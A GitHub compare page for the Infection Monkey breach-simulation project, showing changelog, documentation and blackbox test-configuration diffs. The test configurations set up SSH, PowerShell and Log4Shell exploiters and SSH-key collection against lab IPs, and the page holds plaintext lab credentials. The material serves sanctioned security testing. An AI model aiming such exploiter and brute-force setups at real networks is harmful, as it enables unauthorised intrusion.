Compare commits

..

19 Commits

Author SHA1 Message Date
Kekoa Kaaikala e40d061091 Agent: Fix PortScanData mypy issues 2022-09-21 20:30:41 +00:00
Kekoa Kaaikala d4f6c83f56 Agent: Fix VictimHost mypy issues 2022-09-21 20:19:20 +00:00
Kekoa Kaaikala d440d51f53 Island: Fix mypy issues in segmentation.py 2022-09-21 18:29:34 +00:00
Kekoa Kaaikala 218b341006 Island: Fix mypy issues in networkmap.py 2022-09-21 18:28:58 +00:00
Kekoa Kaaikala 24848e62df Island: Fix mypy issues in version.py 2022-09-21 18:28:17 +00:00
Kekoa Kaaikala a9e101fd04 Island: Fix mypy issues in T1065.py 2022-09-21 18:25:38 +00:00
Kekoa Kaaikala 1a6f48614e Island: Fix mypy issues in mongo_db_process.py 2022-09-21 18:24:47 +00:00
Kekoa Kaaikala a5b5449f73 Island: Fix mypy issues in finding_service.py 2022-09-21 18:23:33 +00:00
Kekoa Kaaikala 7013963d59 Island: Fix mypy issues in cred_exploit.py 2022-09-21 18:22:20 +00:00
Kekoa Kaaikala ed5773878e Island: Fix mypy issues in ransomware_report.py 2022-09-21 18:21:42 +00:00
Kekoa Kaaikala c870fde3cc Island: Fix mypy issues in exploit.py 2022-09-21 18:21:03 +00:00
Kekoa Kaaikala e595a70019 Island: Fix mypy issues for encryptors 2022-09-21 18:19:58 +00:00
Kekoa Kaaikala e8aa231f92 Island: Fix mypy issues in AbstractResource.py 2022-09-21 18:09:18 +00:00
Kekoa Kaaikala c0b2981150 Island: Fix mypy issues in i_log_repository.py 2022-09-21 18:08:25 +00:00
Kekoa Kaaikala 7801a98a15 Island: Fix mypy issues in server_setup.py 2022-09-21 18:06:53 +00:00
Kekoa Kaaikala 6209ec47cd Island: Fix mypy issues in app.py 2022-09-21 18:06:19 +00:00
Kekoa Kaaikala 795d9fe201 Agent: Fix mypy issues in ransomware_options.py 2022-09-21 17:58:41 +00:00
Kekoa Kaaikala ea67c07d70 Agent: Fix mypy issues in pba.py 2022-09-21 17:57:44 +00:00
Kekoa Kaaikala 70c74b87a9 Agent: Fix mypy issues in capture_output.py 2022-09-21 17:55:41 +00:00
267 changed files with 2247 additions and 6301 deletions

View File

@ -23,10 +23,7 @@ Changelog](https://keepachangelog.com/en/1.0.0/).
- `/api/agent-events` endpoint. #2155, #2300
- The ability to customize the file extension used by ransomware when
encrypting files. #1242
- `/api/agents` endpoint. #2362
- `/api/agent-signals` endpoint. #2261
- `/api/agent-logs/<uuid:agent_id>` endpoint. #2274
- `/api/machines` endpoint. #2362
- `/api/agents` endpoint.
### Changed
- Reset workflow. Now it's possible to delete data gathered by agents without
@ -67,8 +64,6 @@ Changelog](https://keepachangelog.com/en/1.0.0/).
- Tunneling to relays to provide better firewall evasion, faster Island
connection times, unlimited hops, and a more resilient way for agents to call
home. #2216, #1583
- "/api/monkey-control/stop-all-agents" to "/api/agent-signals/terminate-all-agents". #2261
- "Local network scan" option to "Scan Agent's networks". #2299
### Removed
- VSFTPD exploiter. #1533
@ -114,9 +109,6 @@ Changelog](https://keepachangelog.com/en/1.0.0/).
- "/api/configuration/export" endpoint. #2002
- "/api/island-configuration" endpoint. #2003
- "-t/--tunnel" from agent command line arguments. #2216
- "/api/monkey-control/neets-to-stop". #2261
- "GET /api/test/monkey" endpoint. #2269
- "GET /api/test/log" endpoint. #2269
### Fixed
- A bug in network map page that caused delay of telemetry log loading. #1545

View File

@ -1,13 +0,0 @@
import json
data = {
'name' : 'myname',
'age' : 100,
}
# separators:是分隔符的意思参数意思分别为不同dict项之间的分隔符和dict项内key和value之间的分隔符后面的空格都除去了.
# dumps 将python对象字典转换为json字符串
json_str = json.dumps(data, separators=(',', ':'))
print(type(json_str), json_str)
# loads 将json字符串转化为python对象字典
pyton_obj = json.loads(json_str)
print(type(pyton_obj), pyton_obj)

View File

@ -8,7 +8,5 @@ description: "Configure settings related to the Monkey's network activity."
Here you can control multiple important settings, such as:
* Network propagation depth - How many hops from the base machine will the Infection Monkey spread?
* Scan Agent's networks - Should the Infection Monkey attempt to attack any machine in its subnet?
_Be careful when using this option. If a machine is connected to a public network, then the agent will scan the public network!_
* Local network scan - Should the Infection Monkey attempt to attack any machine in its subnet?
* Scanner IP/subnet list - Which specific IP ranges should the Infection Monkey should try to attack?

View File

@ -16,9 +16,9 @@ where bad actors can reuse these credentials in your network.
## Configuration
- **Propagation -> Credentials** After setting up the Monkey Island, add your users' **real** credentials
- **Exploits -> Credentials** After setting up the Monkey Island, add your users' **real** credentials
(usernames and passwords) here. Don't worry; this sensitive data is not accessible, distributed or used in any way other than being sent to the Infection Monkey agents. You can easily eliminate it by resetting the configuration of your Monkey Island.
- **Propagation -> Credentials -> SSH key pairs list** When enabled, the Infection Monkey automatically gathers SSH keys on the current system.
- **Internal -> Exploits -> SSH keypair list** When enabled, the Infection Monkey automatically gathers SSH keys on the current system.
For this to work, the Monkey Island or initial agent needs to access SSH key files.
To make sure SSH keys were gathered successfully, refresh the page and check this configuration value after you run the Infection Monkey
(content of keys will not be displayed, it will appear as `<Object>`).

View File

@ -15,14 +15,17 @@ Infection Monkey will help you assess the impact of a future breach by attemptin
## Configuration
- **Propagation -> Exploiters** Here you can review the exploits the Infection Monkey will be using. By default all
- **Exploits -> Exploits** Here you can review the exploits the Infection Monkey will be using. By default all
safe exploiters are selected.
- **Propagation -> Credentials** This configuration value will be used for brute-forcing. The Infection Monkey uses the most popular default passwords and usernames, but feel free to adjust it according to the default passwords common in your network. Keep in mind a longer list means longer scanning times.
- **Propagation -> Network analysis -> Network** Make sure to properly configure the scope of the scan. You can select **Scan Agent's networks**
- **Exploits -> Credentials** This configuration value will be used for brute-forcing. The Infection Monkey uses the most popular default passwords and usernames, but feel free to adjust it according to the default passwords common in your network. Keep in mind a longer list means longer scanning times.
- **Network -> Scope** Make sure to properly configure the scope of the scan. You can select **Local network scan**
and allow Monkey to propagate until maximum **Scan depth**(hop count) is reached, or you can fine tune it by providing
specific network ranges in **Scan target list**. Scanning a local network is more realistic, but providing specific
targets will make the scanning process substantially faster.
- **(Optional) Propagation -> Network Analysis -> TCP scanner** Here you can add custom ports your organization is using.
- **(Optional) Internal -> Network -> TCP scanner** Here you can add custom ports your organization is using.
- **(Optional) Monkey -> Post-Breach Actions** If you only want to test propagation in the network, you can turn off
all post-breach actions. These actions simulate an attacker's behavior after getting access to a new system but in no
way helps the Infection Monkey exploit new machines.
![Exploiter selector](/images/usage/use-cases/network-breach.PNG "Exploiter selector")

View File

@ -17,10 +17,11 @@ You can use the Infection Monkey's cross-segment traffic feature to verify that
## Configuration
- **Propagation -> Network analysis -> Network segmentation testing** This configuration setting allows you to define
- **Network -> Network analysis -> Network segmentation testing** This configuration setting allows you to define
subnets that should be segregated from each other. If any of the provided networks can reach each other, you'll see it
in the security report.
- **(Optional) Propagation -> Network analysis -> Network** You can disable **Scan Agent's networks** and leave all other options at the default setting if you only want to test for network segmentation without any lateral movement.
- **(Optional) Network -> Scope** You can disable **Local network scan** and leave all other options at the default setting if you only want to test for network segmentation without any lateral movement.
- **(Optional) Monkey -> Post-Breach Actions** If you only want to test segmentation in the network, you can turn off all post-breach actions. These actions simulate an attacker's behavior after getting access to a new system, so they might trigger your defense solutions and interrupt the segmentation test.
## Suggested run mode

View File

@ -9,26 +9,37 @@ weight: 100
## Overview
This page provides additional information about configuring the Infection Monkey, tips and tricks and creative usage scenarios.
## Custom behavior
If you want the Infection Monkey to run a specific script or tool after it breaches a machine, you can configure it in
**Configuration -> Monkey -> Post-breach**. Input commands you want to execute in the corresponding fields.
You can also upload files and call them through the commands you entered.
## Accelerate the test
To improve scanning speed you could **specify a subnet instead of scanning all of the local network**.
The following configuration values also have an impact on scanning speed:
- **Propagation -> Credentials** - The more usernames and passwords you input, the longer it will take the Infection Monkey to scan machines that have
- **Credentials** - The more usernames and passwords you input, the longer it will take the Infection Monkey to scan machines that have
remote access services. The Infection Monkey agents try to stay elusive and leave a low impact, and thus brute-forcing takes longer than with loud conventional tools.
- **Propagation -> Network analysis -> Network** - Scanning large networks with a lot of propagations can become unwieldy. Instead, try to scan your
- **Network scope** - Scanning large networks with a lot of propagations can become unwieldy. Instead, try to scan your
networks bit by bit with multiple runs.
- **Propagation -> Network analysis -> TCP scanner** - Here you can trim down the list of ports the Infection Monkey tries to scan, improving performance.
- **Post-breach actions** - If you only care about propagation, you can disable most of these.
- **Internal -> TCP scanner** - Here you can trim down the list of ports the Infection Monkey tries to scan, improving performance.
## Combining different scenarios
The Infection Monkey is not limited to the scenarios mentioned in this section. Once you get the hang of configuring it, you might come up with your own use case or test all of the suggested scenarios at the same time! Whatever you do, the Infection Monkey's Security, ATT&CK and Zero Trust reports will be waiting for you with your results!
## Persistent scanning
Use **Monkey -> Persistent** scanning configuration section to either run periodic scans or increase the reliability of exploitations by running consecutive scans with the Infection Monkey.
## Credentials
Every network has its old "skeleton keys" that it should have long discarded. Configuring the Infection Monkey with old and stale passwords will enable you to ensure they were really discarded.
To add the old passwords, go to the Monkey Island's **Exploit password list** under **Propagation -> Credentials** and use the "+" button to add the old passwords to the configuration. For example, here we added a few extra passwords (and a username as well) to the configuration:
To add the old passwords, go to the Monkey Island's **Exploit password list** under **Basic - Credentials** and use the "+" button to add the old passwords to the configuration. For example, here we added a few extra passwords (and a username as well) to the configuration:
![Exploit password and user lists](/images/usage/scenarios/user-password-lists.png "Exploit password and user lists")

View File

@ -13,9 +13,9 @@ Want to assess your progress in achieving a Zero Trust network? The Infection Mo
## Configuration
- **Propagation -> Credentials** This configuration value will be used for brute-forcing. The Infection Monkey uses the most popular default passwords and usernames, but feel free to adjust it according to the default passwords common in your network. Keep in mind a longer list means longer scanning times.
- **Propagation -> Network analysis -> Network** Disable “Scan Agent's networks” and instead provide specific network ranges in the “Scan target list.”
- **Propagation -> Network analysis -> Network segmentation testing** This configuration setting allows you to define
- **Exploits -> Credentials** This configuration value will be used for brute-forcing. The Infection Monkey uses the most popular default passwords and usernames, but feel free to adjust it according to the default passwords common in your network. Keep in mind a longer list means longer scanning times.
- **Network -> Scope** Disable “Local network scan” and instead provide specific network ranges in the “Scan target list.”
- **Network -> Network analysis -> Network segmentation testing** This configuration setting allows you to define
subnets that should be segregated from each other.
In general, other configuration value defaults should be good enough, but feel free to see the “Other” section for tips and tricks about more features and in-depth configuration parameters you can use.

View File

@ -1,5 +1,4 @@
from ipaddress import IPv4Address
from typing import Collection, Iterable
from typing import Iterable
from envs.monkey_zoo.blackbox.analyzers.analyzer import Analyzer
from envs.monkey_zoo.blackbox.analyzers.analyzer_log import AnalyzerLog
@ -14,22 +13,15 @@ class CommunicationAnalyzer(Analyzer):
def analyze_test_results(self):
self.log.clear()
all_agents_communicated = True
agent_ips = self._get_agent_ips()
all_monkeys_communicated = True
for machine_ip in self.machine_ips:
if self._agent_communicated_back(machine_ip, agent_ips):
self.log.add_entry("Agent from {} communicated back".format(machine_ip))
if not self.did_monkey_communicate_back(machine_ip):
self.log.add_entry("Monkey from {} didn't communicate back".format(machine_ip))
all_monkeys_communicated = False
else:
self.log.add_entry("Agent from {} didn't communicate back".format(machine_ip))
all_agents_communicated = False
self.log.add_entry("Monkey from {} communicated back".format(machine_ip))
return all_monkeys_communicated
return all_agents_communicated
def _get_agent_ips(self) -> Collection[IPv4Address]:
agents = self.island_client.get_agents()
machines = self.island_client.get_machines()
return {i.ip for a in agents for i in machines[a.machine_id].network_interfaces}
def _agent_communicated_back(self, machine_ip: str, agent_ips: Collection[IPv4Address]) -> bool:
return IPv4Address(machine_ip) in agent_ips
def did_monkey_communicate_back(self, machine_ip: str):
query = {"ip_addresses": {"$elemMatch": {"$eq": machine_ip}}}
return len(self.island_client.find_monkeys_in_db(query)) > 0

View File

@ -18,6 +18,12 @@ def pytest_addoption(parser):
default=False,
help="Use for no interaction with the cloud.",
)
parser.addoption(
"--skip-powershell-reuse",
action="store_true",
default=False,
help="Use to run PowerShell credentials reuse test.",
)
@pytest.fixture(scope="session")
@ -42,3 +48,13 @@ def gcp_machines_to_start(request: pytest.FixtureRequest) -> Mapping[str, Collec
machines_to_start.setdefault(zone, set()).update(machines)
return machines_to_start
def pytest_runtest_setup(item):
if "skip_powershell_reuse" in item.keywords and item.config.getoption(
"--skip-powershell-reuse"
):
pytest.skip(
"Skipping powershell credentials reuse test because "
"--skip-powershell-cached flag isn't specified."
)

View File

@ -15,14 +15,10 @@ GCP_TEST_MACHINE_LIST = {
"zerologon-25",
],
"europe-west1-b": [
"powershell-3-44",
"powershell-3-45",
"powershell-3-46",
"powershell-3-47",
"powershell-3-48",
"credentials-reuse-14",
"credentials-reuse-15",
"credentials-reuse-16",
"log4j-logstash-55",
"log4j-logstash-56",
"log4j-solr-49",
@ -36,11 +32,7 @@ DEPTH_2_A = {
"europe-west3-a": [
"sshkeys-11",
"sshkeys-12",
],
"europe-west1-b": [
"powershell-3-46",
"powershell-3-44",
],
]
}
@ -65,6 +57,7 @@ DEPTH_3_A = {
],
"europe-west1-b": [
"powershell-3-45",
"powershell-3-46",
"powershell-3-47",
"powershell-3-48",
],
@ -79,20 +72,19 @@ DEPTH_4_A = {
],
}
POWERSHELL_EXPLOITER_REUSE = {
"europe-west1-b": [
"powershell-3-46",
]
}
ZEROLOGON = {
"europe-west3-a": [
"zerologon-25",
],
}
CREDENTIALS_REUSE_SSH_KEY = {
"europe-west1-b": [
"credentials-reuse-14",
"credentials-reuse-15",
"credentials-reuse-16",
],
}
WMI_AND_MIMIKATZ = {
"europe-west3-a": [
"mimikatz-14",
@ -107,8 +99,8 @@ GCP_SINGLE_TEST_LIST = {
"test_depth_1_a": DEPTH_1_A,
"test_depth_3_a": DEPTH_3_A,
"test_depth_4_a": DEPTH_4_A,
"test_powershell_exploiter_credentials_reuse": POWERSHELL_EXPLOITER_REUSE,
"test_zerologon_exploiter": ZEROLOGON,
"test_credentials_reuse_ssh_key": CREDENTIALS_REUSE_SSH_KEY,
"test_wmi_and_mimikatz_exploiters": WMI_AND_MIMIKATZ,
"test_smb_pth": SMB_PTH,
}

View File

@ -1,21 +1,18 @@
import json
import logging
import time
from typing import List, Mapping, Sequence, Union
from typing import List, Sequence, Union
from bson import json_util
from common.credentials import Credentials
from common.types import AgentID, MachineID
from envs.monkey_zoo.blackbox.island_client.monkey_island_requests import MonkeyIslandRequests
from envs.monkey_zoo.blackbox.test_configurations.test_configuration import TestConfiguration
from monkey_island.cc.models import Agent, Machine
SLEEP_BETWEEN_REQUESTS_SECONDS = 0.5
GET_AGENTS_ENDPOINT = "api/agents"
GET_LOG_ENDPOINT = "api/agent-logs"
GET_MACHINES_ENDPOINT = "api/machines"
MONKEY_TEST_ENDPOINT = "api/test/monkey"
TELEMETRY_TEST_ENDPOINT = "api/test/telemetry"
LOG_TEST_ENDPOINT = "api/test/log"
LOGGER = logging.getLogger(__name__)
@ -91,9 +88,8 @@ class MonkeyIslandClient(object):
@avoid_race_condition
def kill_all_monkeys(self):
# TODO change this request, because monkey-control resource got removed
response = self.requests.post_json(
"api/agent-signals/terminate-all-agents", json={"terminate_time": time.time()}
"api/monkey-control/stop-all-agents", json={"kill_time": time.time()}
)
if response.ok:
LOGGER.info("Killing all monkeys after the test.")
@ -138,6 +134,14 @@ class MonkeyIslandClient(object):
LOGGER.error("Failed to reset island mode")
assert False
def find_monkeys_in_db(self, query):
if query is None:
raise TypeError
response = self.requests.get(
MONKEY_TEST_ENDPOINT, MonkeyIslandClient.form_find_query_for_request(query)
)
return MonkeyIslandClient.get_test_query_results(response)
def find_telems_in_db(self, query: dict):
if query is None:
raise TypeError
@ -146,21 +150,17 @@ class MonkeyIslandClient(object):
)
return MonkeyIslandClient.get_test_query_results(response)
def get_agents(self) -> Sequence[Agent]:
response = self.requests.get(GET_AGENTS_ENDPOINT)
def get_all_monkeys_from_db(self):
response = self.requests.get(
MONKEY_TEST_ENDPOINT, MonkeyIslandClient.form_find_query_for_request(None)
)
return MonkeyIslandClient.get_test_query_results(response)
return [Agent(**a) for a in response.json()]
def get_machines(self) -> Mapping[MachineID, Machine]:
response = self.requests.get(GET_MACHINES_ENDPOINT)
machines = (Machine(**m) for m in response.json())
return {m.id: m for m in machines}
def get_agent_log(self, agent_id: AgentID) -> str:
response = self.requests.get(f"{GET_LOG_ENDPOINT}/{agent_id}")
return response.json()
def find_log_in_db(self, query):
response = self.requests.get(
LOG_TEST_ENDPOINT, MonkeyIslandClient.form_find_query_for_request(query)
)
return MonkeyIslandClient.get_test_query_results(response)
@staticmethod
def form_find_query_for_request(query: Union[dict, None]) -> dict:
@ -171,5 +171,5 @@ class MonkeyIslandClient(object):
return json.loads(response.content)["results"]
def is_all_monkeys_dead(self):
agents = self.get_agents()
return all((a.stop_time is not None for a in agents))
query = {"dead": False}
return len(self.find_monkeys_in_db(query)) == 0

View File

@ -0,0 +1,38 @@
import logging
import os
from bson import ObjectId
LOGGER = logging.getLogger(__name__)
class MonkeyLog(object):
def __init__(self, monkey, log_dir_path):
self.monkey = monkey
self.log_dir_path = log_dir_path
def download_log(self, island_client):
log = island_client.find_log_in_db({"monkey_id": ObjectId(self.monkey["_id"])})
if not log:
LOGGER.error("Log for monkey {} not found".format(self.monkey["ip_addresses"][0]))
return False
else:
self.write_log_to_file(log)
return True
def write_log_to_file(self, log):
with open(self.get_log_path_for_monkey(self.monkey), "w") as log_file:
log_file.write(MonkeyLog.parse_log(log))
@staticmethod
def parse_log(log):
log = log.strip('"')
log = log.replace("\\n", "\n ")
return log
@staticmethod
def get_filename_for_monkey_log(monkey):
return "{}.txt".format(monkey["ip_addresses"][0])
def get_log_path_for_monkey(self, monkey):
return os.path.join(self.log_dir_path, MonkeyLog.get_filename_for_monkey_log(monkey))

View File

@ -1,65 +1,25 @@
import logging
from pathlib import Path
from threading import Thread
from typing import List, Mapping
from common.types import MachineID
from envs.monkey_zoo.blackbox.island_client.monkey_island_client import MonkeyIslandClient
from monkey_island.cc.models import Agent, Machine
from envs.monkey_zoo.blackbox.log_handlers.monkey_log import MonkeyLog
LOGGER = logging.getLogger(__name__)
class MonkeyLogsDownloader(object):
def __init__(self, island_client: MonkeyIslandClient, log_dir_path: str):
def __init__(self, island_client, log_dir_path):
self.island_client = island_client
self.log_dir_path = Path(log_dir_path)
self.monkey_log_paths: List[Path] = []
self.log_dir_path = log_dir_path
self.monkey_log_paths = []
def download_monkey_logs(self):
try:
LOGGER.info("Downloading each monkey log.")
LOGGER.info("Downloading each monkey log.")
all_monkeys = self.island_client.get_all_monkeys_from_db()
for monkey in all_monkeys:
downloaded_log_path = self._download_monkey_log(monkey)
if downloaded_log_path:
self.monkey_log_paths.append(downloaded_log_path)
agents = self.island_client.get_agents()
machines = self.island_client.get_machines()
download_threads: List[Thread] = []
# TODO: Does downloading logs concurrently still improve performance after resolving
# https://github.com/guardicore/monkey/issues/2383?
for agent in agents:
t = Thread(target=self._download_log, args=(agent, machines), daemon=True)
t.start()
download_threads.append(t)
for thread in download_threads:
thread.join()
except Exception as err:
LOGGER.exception(err)
def _download_log(self, agent: Agent, machines: Mapping[MachineID, Machine]):
log_file_path = self._get_log_file_path(agent, machines)
log_contents = self.island_client.get_agent_log(agent.id)
MonkeyLogsDownloader._write_log_to_file(log_file_path, log_contents)
self.monkey_log_paths.append(log_file_path)
def _get_log_file_path(self, agent: Agent, machines: Mapping[MachineID, Machine]) -> Path:
try:
machine_ip = machines[agent.machine_id].network_interfaces[0].ip
except IndexError:
LOGGER.error(f"Machine with ID {agent.machine_id} has no network interfaces")
machine_ip = "UNKNOWN"
start_time = agent.start_time.strftime("%Y-%m-%d_%H-%M-%S")
return self.log_dir_path / f"agent_{start_time}_{machine_ip}.log"
@staticmethod
def _write_log_to_file(log_file_path: Path, log_contents: str):
LOGGER.debug(f"Writing {len(log_contents)} bytes to {log_file_path}")
with open(log_file_path, "w") as f:
f.write(log_contents)
def _download_monkey_log(self, monkey):
log_handler = MonkeyLog(monkey, self.log_dir_path)
download_successful = log_handler.download_log(self.island_client)
return log_handler.get_log_path_for_monkey(monkey) if download_successful else None

View File

@ -10,11 +10,11 @@ from envs.monkey_zoo.blackbox.island_client.monkey_island_client import MonkeyIs
from envs.monkey_zoo.blackbox.island_client.test_configuration_parser import get_target_ips
from envs.monkey_zoo.blackbox.log_handlers.test_logs_handler import TestLogsHandler
from envs.monkey_zoo.blackbox.test_configurations import (
credentials_reuse_ssh_key_test_configuration,
depth_1_a_test_configuration,
depth_2_a_test_configuration,
depth_3_a_test_configuration,
depth_4_a_test_configuration,
powershell_credentials_reuse_test_configuration,
smb_pth_test_configuration,
wmi_mimikatz_test_configuration,
zerologon_test_configuration,
@ -129,6 +129,15 @@ class TestMonkeyBlackbox:
island_client, depth_4_a_test_configuration, "Depth4A test suite"
)
# Not grouped because can only be ran on windows
@pytest.mark.skip_powershell_reuse
def test_powershell_exploiter_credentials_reuse(self, island_client):
TestMonkeyBlackbox.run_exploitation_test(
island_client,
powershell_credentials_reuse_test_configuration,
"PowerShell_Remoting_exploiter_credentials_reuse",
)
# Not grouped because it's slow
def test_zerologon_exploiter(self, island_client):
test_name = "Zerologon_exploiter"
@ -154,11 +163,6 @@ class TestMonkeyBlackbox:
log_handler=log_handler,
).run()
def test_credentials_reuse_ssh_key(self, island_client):
TestMonkeyBlackbox.run_exploitation_test(
island_client, credentials_reuse_ssh_key_test_configuration, "Credentials_Reuse_SSH_Key"
)
# Not grouped because conflicts with SMB.
# Consider grouping when more depth 1 exploiters collide with group depth_1_a
def test_wmi_and_mimikatz_exploiters(self, island_client):

View File

@ -3,7 +3,7 @@ from .depth_1_a import depth_1_a_test_configuration
from .depth_2_a import depth_2_a_test_configuration
from .depth_3_a import depth_3_a_test_configuration
from .depth_4_a import depth_4_a_test_configuration
from .powershell_credentials_reuse import powershell_credentials_reuse_test_configuration
from .smb_pth import smb_pth_test_configuration
from .wmi_mimikatz import wmi_mimikatz_test_configuration
from .zerologon import zerologon_test_configuration
from .credentials_reuse_ssh_key import credentials_reuse_ssh_key_test_configuration

View File

@ -1,71 +0,0 @@
import dataclasses
from common.agent_configuration import AgentConfiguration, PluginConfiguration
from common.credentials import Credentials, Password, Username
from .noop import noop_test_configuration
from .utils import (
add_credential_collectors,
add_exploiters,
add_subnets,
add_tcp_ports,
replace_agent_configuration,
replace_propagation_credentials,
set_keep_tunnel_open_time,
set_maximum_depth,
)
# Tests:
# SSHCollector steals key from machine A(10.2.3.14),
# then B(10.2.4.15) exploits C(10.2.5.16) with that key
def _add_exploiters(agent_configuration: AgentConfiguration) -> AgentConfiguration:
brute_force = [
PluginConfiguration(name="SSHExploiter", options={}),
]
return add_exploiters(agent_configuration, brute_force=brute_force, vulnerability=[])
def _add_subnets(agent_configuration: AgentConfiguration) -> AgentConfiguration:
subnets = ["10.2.3.14", "10.2.4.15", "10.2.5.16"]
return add_subnets(agent_configuration, subnets)
def _add_credential_collectors(agent_configuration: AgentConfiguration) -> AgentConfiguration:
credential_collectors = [
PluginConfiguration(name="SSHCollector", options={}),
]
return add_credential_collectors(
agent_configuration, credential_collectors=credential_collectors
)
def _add_tcp_ports(agent_configuration: AgentConfiguration) -> AgentConfiguration:
ports = [22]
return add_tcp_ports(agent_configuration, ports)
test_agent_configuration = set_maximum_depth(noop_test_configuration.agent_configuration, 3)
test_agent_configuration = set_keep_tunnel_open_time(test_agent_configuration, 20)
test_agent_configuration = _add_exploiters(test_agent_configuration)
test_agent_configuration = _add_subnets(test_agent_configuration)
test_agent_configuration = _add_credential_collectors(test_agent_configuration)
test_agent_configuration = _add_tcp_ports(test_agent_configuration)
CREDENTIALS = (
Credentials(identity=Username(username="m0nk3y"), secret=None),
Credentials(identity=None, secret=Password(password="u26gbVQe")),
Credentials(identity=None, secret=Password(password="5BuYHeVl")),
)
credentials_reuse_ssh_key_test_configuration = dataclasses.replace(noop_test_configuration)
replace_agent_configuration(
test_configuration=credentials_reuse_ssh_key_test_configuration,
agent_configuration=test_agent_configuration,
)
replace_propagation_credentials(
test_configuration=credentials_reuse_ssh_key_test_configuration,
propagation_credentials=CREDENTIALS,
)

View File

@ -6,8 +6,6 @@ from common.credentials import Credentials, Password, Username
from .noop import noop_test_configuration
from .utils import (
add_exploiters,
add_fingerprinters,
add_http_ports,
add_subnets,
add_tcp_ports,
replace_agent_configuration,
@ -18,50 +16,30 @@ from .utils import (
# Tests:
# SSH password and key brute-force, key stealing (10.2.2.11, 10.2.2.12)
# Powershell credential reuse (logging in without credentials
# to an identical user on another machine)(10.2.3.44, 10.2.3.46)
def _add_exploiters(agent_configuration: AgentConfiguration) -> AgentConfiguration:
brute_force = [
PluginConfiguration(name="SSHExploiter", options={}),
PluginConfiguration(name="PowerShellExploiter", options={}),
]
vulnerability = [
PluginConfiguration(name="Log4ShellExploiter", options={}),
]
return add_exploiters(agent_configuration, brute_force=brute_force, vulnerability=vulnerability)
return add_exploiters(agent_configuration, brute_force=brute_force, vulnerability=[])
def _add_subnets(agent_configuration: AgentConfiguration) -> AgentConfiguration:
subnets = [
"10.2.2.11",
"10.2.2.12",
"10.2.3.44",
"10.2.3.46",
]
return add_subnets(agent_configuration, subnets)
def _add_fingerprinters(agent_configuration: AgentConfiguration) -> AgentConfiguration:
fingerprinters = [PluginConfiguration(name="http", options={})]
return add_fingerprinters(agent_configuration, fingerprinters)
def _add_tcp_ports(agent_configuration: AgentConfiguration) -> AgentConfiguration:
ports = [22, 5985, 5986, 8080]
ports = [22]
return add_tcp_ports(agent_configuration, ports)
def _add_http_ports(agent_configuration: AgentConfiguration) -> AgentConfiguration:
return add_http_ports(agent_configuration, [8080])
test_agent_configuration = set_maximum_depth(noop_test_configuration.agent_configuration, 2)
test_agent_configuration = _add_exploiters(test_agent_configuration)
test_agent_configuration = _add_subnets(test_agent_configuration)
test_agent_configuration = _add_fingerprinters(test_agent_configuration)
test_agent_configuration = _add_tcp_ports(test_agent_configuration)
test_agent_configuration = _add_http_ports(test_agent_configuration)
CREDENTIALS = (
Credentials(identity=Username(username="m0nk3y"), secret=None),

View File

@ -34,6 +34,7 @@ def _add_subnets(agent_configuration: AgentConfiguration) -> AgentConfiguration:
subnets = [
"10.2.2.9",
"10.2.3.45",
"10.2.3.46",
"10.2.3.47",
"10.2.3.48",
"10.2.1.10",

View File

@ -22,7 +22,7 @@ _custom_pba_configuration = CustomPBAConfiguration(
_tcp_scan_configuration = TCPScanConfiguration(timeout=3.0, ports=[])
_icmp_scan_configuration = ICMPScanConfiguration(timeout=1.0)
_scan_target_configuration = ScanTargetConfiguration(
blocked_ips=[], inaccessible_subnets=[], scan_my_networks=False, subnets=[]
blocked_ips=[], inaccessible_subnets=[], local_network_scan=False, subnets=[]
)
_network_scan_configuration = NetworkScanConfiguration(
tcp=_tcp_scan_configuration,

View File

@ -0,0 +1,44 @@
import dataclasses
from common.agent_configuration import AgentConfiguration, PluginConfiguration
from .noop import noop_test_configuration
from .utils import (
add_exploiters,
add_subnets,
add_tcp_ports,
replace_agent_configuration,
set_maximum_depth,
)
def _add_exploiters(agent_configuration: AgentConfiguration) -> AgentConfiguration:
brute_force = [
PluginConfiguration(name="PowerShellExploiter", options={}),
]
return add_exploiters(agent_configuration, brute_force=brute_force, vulnerability=[])
def _add_subnets(agent_configuration: AgentConfiguration) -> AgentConfiguration:
subnets = [
"10.2.3.46",
]
return add_subnets(agent_configuration, subnets)
def _add_tcp_ports(agent_configuration: AgentConfiguration) -> AgentConfiguration:
ports = [5985, 5986]
return add_tcp_ports(agent_configuration, ports)
test_agent_configuration = set_maximum_depth(noop_test_configuration.agent_configuration, 1)
test_agent_configuration = _add_exploiters(test_agent_configuration)
test_agent_configuration = _add_subnets(test_agent_configuration)
test_agent_configuration = _add_tcp_ports(test_agent_configuration)
powershell_credentials_reuse_test_configuration = dataclasses.replace(noop_test_configuration)
replace_agent_configuration(
test_configuration=powershell_credentials_reuse_test_configuration,
agent_configuration=test_agent_configuration,
)

View File

@ -28,9 +28,6 @@ This document describes Infection Monkeys test network, how to deploy and use
[Nr. 3-46 Powershell](#_Toc536021480)<br>
[Nr. 3-47 Powershell](#_Toc536021481)<br>
[Nr. 3-48 Powershell](#_Toc536021482)<br>
[Nr. 14 Credentials Reuse](#_Toc536121480)<br>
[Nr. 15 Credentials Reuse](#_Toc536121481)<br>
[Nr. 16 Credentials Reuse](#_Toc536121482)<br>
[Nr. 3-49 Log4j Solr](#_Toc536021483)<br>
[Nr. 3-50 Log4j Solr](#_Toc536021484)<br>
[Nr. 3-51 Log4j Tomcat](#_Toc536021485)<br>
@ -759,38 +756,6 @@ This prevents ssh exploitation, but allows tunneling.</td>
</tbody>
</table>
<table>
<thead>
<tr class="header">
<th><p><span id="_Toc536021479" class="anchor"></span>Nr. <strong>3-44 Powershell</strong></p>
<p>(10.2.3.44)</p></th>
<th>(Vulnerable)</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td>OS:</td>
<td><strong>Windows Server 2016 x64</strong></td>
</tr>
<tr class="even">
<td>Software:</td>
<td>WinRM service</td>
</tr>
<tr class="odd">
<td>Default servers port: 5985, 5986</td>
<td>-</td>
</tr>
<tr class="even">
<td>Notes:</td>
<td>User: m0nk3y, Password: nPj8rbc3<br>
Accessible using the same m0nk3y user from powershell-3-46,
in other words powershell exploiter can exploit
this machine without credentials as long as the user running the agent has
the same credentials on both machines</td>
</tr>
</tbody>
</table>
<table>
<thead>
<tr class="header">
@ -836,17 +801,17 @@ Accessibale through Island using m0nk3y-user.</td>
<tr class="even">
<td>Software:</td>
<td>WinRM service</td>
<td>Tomcat 8.0.36</td>
</tr>
<tr class="odd">
<td>Default servers port:8080</td>
<td>Default servers port:</td>
<td>-</td>
</tr>
<tr class="even">
<td>Notes:</td>
